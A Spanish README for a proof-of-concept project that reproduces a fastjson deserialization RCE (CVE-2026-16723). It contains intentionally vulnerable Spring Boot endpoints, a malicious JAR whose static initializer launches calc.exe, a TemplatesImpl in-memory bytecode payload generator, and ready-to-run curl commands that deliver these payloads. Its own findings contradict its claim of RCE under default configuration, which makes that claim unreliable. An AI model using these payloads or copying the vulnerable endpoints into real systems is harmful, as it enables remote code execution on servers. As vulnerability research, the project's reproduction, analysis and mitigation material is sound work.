
Proyecto de reproducción para CVE-2026-16723, una RCE crítica en fastjson 1.2.68-1.2.83. Demuestra la evasión de AutoType, la inyección JNDI y cargas útiles en memoria de TemplatesImpl con endpoints vulnerables de Spring Boot.
Este proyecto reproduce CVE-2026-16723 — una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en fastjson 1.2.68 hasta 1.2.83. La vulnerabilidad permite RCE bajo configuración predeterminada sin requerir la habilitación de AutoType ni gadgets preexistentes en el classpath.
| Propiedad | Valor |
|---|
| ID de CVE | CVE-2026-16723 |
| Componente | fastjson |
| Versiones Afectadas | 1.2.68 – 1.2.83 |
| Versiones Corregidas | 1.2.84+, 2.0.0+ |
| Tipo de Vulnerabilidad | Deserialización / RCE |
| Severidad | CVSS 3.1: 9.0 (CRÍTICA) |
| Vector de Ataque | Red |
| Complejidad | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
fastjson-cve-2026-16723/
├── pom.xml # Proyecto principal (aplicación Spring Boot con fastjson vulnerable)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Punto de entrada de Spring Boot
│ └── controller/
│ └── VulnerableController.java # Endpoints REST vulnerables
├── malicious/ # Módulo separado: JAR malicioso para simulación de cadena de suministro
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Clase maliciosa con inicializador estático
│ ├── EvilTranslet.java # Translet malicioso para modo en memoria de TemplatesImpl
│ └── GenTemplatesPayload.java # Genera el payload JSON de TemplatesImpl
├── templates-payload.json # Payload de TemplatesImpl generado (variante directa)
├── templates-payload-preload.json # Payload de TemplatesImpl generado (variante de precarga de clase)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contiene una omisión en el mecanismo de protección AutoType. Incluso con configuración predeterminada (autoTypeSupport=false), los atacantes pueden instanciar clases arbitrarias mediante payloads JSON manipulados utilizando cadenas de explotación como:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (inyección JNDI)java.lang.Runtime (ejecución directa de comandos)@type: exploit.MaliciousClass)VulnerableController.java — dos endpoints demuestran el problema:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerable: JSON.parseObject con configuración predeterminada
// ¡No se requiere ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Fuerza la deserialización a Object — desencadena la instanciación real de la clase
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Compilar la aplicación principal
mvn clean package -DskipTests
# Compilar el JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR gordo de Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR malicioso con exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
El servidor se inicia en http://localhost:8080
Requisito de tiempo de ejecución: este proyecto está dirigido a Java 8 y el modo en memoria de TemplatesImpl está verificado en JDK 8. En JDK 9+ el sistema de módulos bloquea el acceso reflectivo a los internos de
java.xml, por lo que la cadena falla conError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que agregues las banderas--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
El pom.xml principal declara el JAR malicioso como dependencia, por lo que se incluye en el JAR gordo:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verificar en tiempo de ejecución:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Esperado: CVE-2026-16723 Reproduction Endpoint Ready...
El módulo malicious proporciona exploit.MaliciousClass con un inicializador estático que ejecuta calc.exe al cargar la clase.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Resultado:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
Y calc.exe se lanza en el servidor.
Nota: Esto demuestra un escenario de cadena de suministro donde una dependencia maliciosa está presente en el classpath. La vulnerabilidad permite la instanciación de cualquier clase en el classpath, no solo clases JDK.
A diferencia del modo de cadena de suministro (que necesita la clase maliciosa en el classpath) y del modo JNDI (que necesita un servidor LDAP/RMI), este modo incrusta el bytecode malicioso directamente en el payload y lo carga desde memoria mediante com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — no es necesario desplegar nada adicional.
Paso 1 — generar el payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Esto compila exploit.EvilTranslet (una subclase de AbstractTranslet cuyo inicializador estático ejecuta calc.exe), codifica en base64 los bytes de su .class y escribe:
templates-payload.json — variante directa ("@type": "TemplatesImpl")templates-payload-preload.json — variante de precarga de java.lang.ClassPaso 2 — disparar el payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Resultado:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
Y calc.exe se lanza en el servidor.
⚠️ Hallazgos empíricos (verificados contra fastjson 1.2.83): la cadena TemplatesImpl no es activable bajo configuración puramente predeterminada:
- El payload directo
@typees rechazado por la denyList de AutoType (autoType is not support).- La cadena de precarga de
java.lang.Classfalla por dos motivos:java.lang.Classen sí está en la denyList (autoType is not support. java.lang.Class), e incluso precargarTemplatesImplen los mapeos internos de clases no omite la denyList — la omisión de mapeo de la era 1.2.47 está corregida en 1.2.83.autoTypeSupport(true)por sí solo tampoco es suficiente: la denyList tiene prioridad sobre la bandera autoType.- La cadena se activa solo cuando la clase está en la lista blanca mediante
ParserConfig.addAccept(...)(la acceptList tiene prioridad sobre la denyList) yFeature.SupportNonPublicFieldestá habilitado (_bytecodes/_name/_tfactoryde TemplatesImpl son campos privados).- El endpoint
/api/deserialize-autotypeimplementa exactamente esta combinación.- Tiempo de ejecución: la cadena está verificada en JDK 8. En JDK 9+ el sistema de módulos bloquea el acceso reflectivo a los internos de
java.xml, por lo que la creación de instancias falla conError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que se usen las banderas JVM en Ejecución de la Aplicación.
| Endpoint | Comportamiento |
|---|---|
POST /api/parse | Analiza a JSONObject — puede no desencadenar la deserialización completa para todos los payloads |
POST /api/deserialize | Analiza a Object — fuerza la deserialización completa y la instanciación de clases (configuración predeterminada) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — escribe campos privados, pero la denyList aún bloquea TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — activa la cadena en memoria de TemplatesImpl |
Para la explotación de la clase maliciosa, se requiere /api/deserialize para activar el inicializador estático.
Actualiza fastjson a una versión parcheada:
<!-- Opción 1: fastjson 1.x (recomendado para usuarios de 1.x) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Opción 2: fastjson 2.x (recomendado para proyectos nuevos) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// Deshabilitar AutoType globalmente (mitigación parcial — las cadenas de explotación pueden aún omitirla)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// O usar safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
Este proyecto es únicamente con fines educativos y de investigación de seguridad defensiva.
- No lo utilices contra sistemas que no poseas o para los cuales no tengas permiso escrito explícito para probar.
- El autor no es responsable de ningún uso indebido, daño o consecuencia legal derivada del uso de este código.
- Siempre sigue prácticas de divulgación responsable al descubrir vulnerabilidades.
- Esta reproducción utiliza un payload benigno (
calc.exe) para demostración; los exploits reales pueden causar daños graves.
Este proyecto se proporciona tal cual para investigación de seguridad. Sin garantía expresa ni implícita.